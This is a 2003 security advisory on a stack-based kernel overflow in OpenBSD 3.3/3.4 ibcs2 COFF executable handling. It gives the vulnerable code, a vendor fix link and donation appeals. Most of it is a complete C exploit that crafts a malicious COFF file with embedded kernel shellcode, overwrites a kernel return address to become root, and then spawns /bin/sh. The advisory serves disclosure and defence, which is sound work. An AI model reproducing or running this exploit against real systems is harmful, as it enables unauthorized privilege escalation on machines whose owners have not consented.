guninski@guninski.com
   Georgi Guninski security advisory #64, 2003
   OpenBSD kernel overflow, yet still *BSD much better than windows

   Liu disclosed 13 explorer bugs on one day and now needs a computer of his
   own.
   Please donate at: http://clik.to/donatepc
   "The less that you give, you're a taker"
   -- Black Sabbath, http://www.lyricsfreak.com/b/black-sabbath/19364.html

   Systems affected:
   tested on OpenBSD 3.3 and 3.4, probably other versions also affected
   Risk: Medium
   Date: 17 November 2003
   Legal Notice:
   This Advisory is Copyright (c) 2003 Georgi Guninski.
   You may distribute it unmodified.
   You may not modify it and distribute it or distribute parts
   of it without the author's written permission - this especially applies to
   so called "vulnerabilities databases" and securityfocus, microsoft, cert
   and mitre.
   If you want to link to this content use the URL:
   http://www.guninski.com/msuxobsd2.html
   Anything in this document may change without notice.
   Disclaimer:
   The information in this advisory is believed to be true though
   it may be false.
   The opinions expressed in this advisory and program are my own and
   not of any company. The usual standard disclaimer applies,
   especially the fact that Georgi Guninski is not liable for any damages
   caused by direct or  indirect use of the information or functionality
   provided by this advisory or program. Georgi Guninski bears no
   responsibility for content or misuse of this advisory or program or
   any derivatives thereof.
   Description:
   There is a stack based kernel overflow in OpenBSD 3.3,3.4 probably earlier
   in ibcs2 code. Exploit code is available for 3.3. On 3.4 the kernel is
   paniced with smashed stack, ease of exploitation is currently unknown.
   Details:
   The problem is in:
   "ibcs2_exec.c" line 427 of 738
       char buf[128], *bufp;
       int len = sh.s_size, path_index, entry_len;

       error = vn_rdwr(UIO_READ, epp->ep_vp, (caddr_t) buf,
                   len, sh.s_scnptr,
                   UIO_SYSSPACE, IO_NODELOCKED, p->p_ucred,
                   &resid, p);
   len is taken from the binary and is used for copying in stack based buffer
   which is wrong.
   Oh, I forgot.
   Please help Liu!
   Liu disclosed 13 explorer bugs on one day and now needs a computer of his
   own.
   Please donate at: http://clik.to/donatepc
   "The less that you give, you're a taker"
   -- Black Sabbath, http://www.lyricsfreak.com/b/black-sabbath/19364.html
-msuxobsd2.c--------------------------------------------------
/*
Legal Notice:
This Advisory is Copyright (c) 2003 Georgi Guninski.
This program cannot be used in "vulnerabilities databases" and
securityfocus, microsoft, cert and mitre.
If you want to link to this content use the URL:
http://www.guninski.com/msuxobsd2.html
Anything in this document may change without notice.

Disclaimer:
The information in this advisory is believed to be true though
it may be false.
The opinions expressed in this advisory and program are my own and
not of any company. The usual standard disclaimer applies,
especially the fact that Georgi Guninski is not liable for any damages
caused by direct or  indirect use of the information or functionality
provided by this advisory or program. Georgi Guninski bears no
responsibility for content or misuse of this advisory or program or
any derivatives thereof.

*/
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <sys/mman.h>
#include <unistd.h>
#include <sys/param.h>
#include <sys/sysctl.h>
#include <sys/signal.h>
#include <sys/utsname.h>
#include <sys/stat.h>
#include "/usr/src/sys/compat/ibcs2/ibcs2_exec.h"

// some code taken from noir article from phrack 60

void
get_proc(pid_t pid, struct kinfo_proc *kp)
{
   u_int arr[4], len;
        arr[0] = CTL_KERN;
        arr[1] = KERN_PROC;
        arr[2] = KERN_PROC_PID;
        arr[3] = pid;
        len = sizeof(struct kinfo_proc);
        if(sysctl(arr, 4, kp, &len, NULL, 0) < 0) {
                perror("sysctl");
                fprintf(stderr, "this is an unexpected error, rerun!\n");
                exit(-1);
        }
}
int msux()
{
int fd;
struct coff_filehdr cf;
struct coff_aouthdr ca;
struct coff_scnhdr s1,s2,s3;
int exe[512];
char fil[]="/tmp/vvc";
int v;
unsigned int initpid=0xe7610000;
unsigned int reta=0xe770fc8c;//0xe770bc68; //0xe7719c64;//0xe770bc64;
struct kinfo_proc kp;
long ppid,mypid;
int p,st;
get_proc((pid_t) getppid(), &kp);
ppid=(u_long) kp.kp_eproc.e_paddr;
get_proc((pid_t) getpid(), &kp);
mypid=(u_long) kp.kp_eproc.e_paddr;
// address of kernel's p_comm for 3.3
reta=0x10f+(u_long) kp.kp_eproc.e_paddr;
printf("ppid=%x mypid=%x %reta=%x\n",ppid,mypid,reta);
fd=open(fil,O_CREAT|O_RDWR,0700);
if (fd==-1) {perror("open");return 1;}
memset(&cf,0,sizeof(cf));
memset(&ca,0,sizeof(ca));
memset(&s1,0,sizeof(s1));
memset(&s2,0,sizeof(s2));
memset(&s3,0,sizeof(s3));
//memset(exe,0xe7,sizeof(exe));
for(v=0;v<sizeof(exe)/sizeof(int);v++) {exe[v]= 0xbabe0000 + v; /*0xcafebabe;*/}
exe[2]=ppid; // to avoid an early crash
exe[1]=reta; // return address

p=st=3; //0xd;

exe[p++]=0xfebabeb9; // shell code
exe[p++]=0x10598bca;
exe[p++]=0x4389c031;
exe[p++]=0x89138b04;
exe[p++]=0x90900442;
*(int*)((int)&exe[st]+1) = ppid;
exe[p++]=0xbabeb850; // call exit1 to return in userland
exe[p++]=0xb850cafe;
exe[p++]=0xd01c59b8;
exe[p++]=0x9090d0ff;
*(int*)((int)&exe[st]+2+5*4) = mypid;
cf.f_magic = COFF_MAGIC_I386 ;
cf.f_nscns=3;
ca.a_magic = COFF_ZMAGIC;
s1.s_flags = COFF_STYP_TEXT;
s2.s_flags = COFF_STYP_DATA;
s3.s_flags = COFF_STYP_SHLIB;
s3.s_size= 128+12*4 + 30*4; //sizeof(exe);
write(fd,&cf,sizeof(cf));
write(fd,&ca,sizeof(ca));
write(fd,&s1,sizeof(s1));
write(fd,&s2,sizeof(s2));
write(fd,&s3,sizeof(s3));
write(fd,exe,sizeof(exe));
printf("Now exec %s\n",fil);
execl(fil,0);
exit(42); // should not be reached if successfull
}

int main(int ac,char **av)
{
uid_t ui;
// this is kernel's p_comm. we first jump here.
char goodfile[]="\x54\x58\x40\x40\x40\x40\xff\xd0";
char tmp[1000];
if (strcmp(av[0],goodfile))
        {
        snprintf(tmp,sizeof(tmp),"cp %s \"%s\"",av[0],goodfile);
        system(tmp);execl(goodfile,goodfile,0);
        return 42; //should not be reached
        }
printf("written by georgi\n");
printf("\nPlease help Liu - http://clik.to/donatepc\n\n");
fflush(stdout);
#define SWEETDREAM 2

if(!fork()) msux();
while(42)
{
sleep(SWEETDREAM);
ui=getuid();
printf("uid=%x\n",ui);
if (ui==0) execl("/bin/sh",0);
}
return 42;
}

   -----------------------------------------------
   Vendor status:
   OpenBSD was notified on Sat, 15 Nov 2003 17:57:33 +0200.
   Fix: available in cvs for 3.4:
   http://www.openbsd.org/cgi-bin/cvsweb/src/sys/compat/ibcs2/ibcs2_exec.c.diff?r1=1.14.6.1&r2=1
   .14.6.2
   For earlier versions should be available shortly.
   Regards,
   Georgi Guninski
   http://www.guninski.com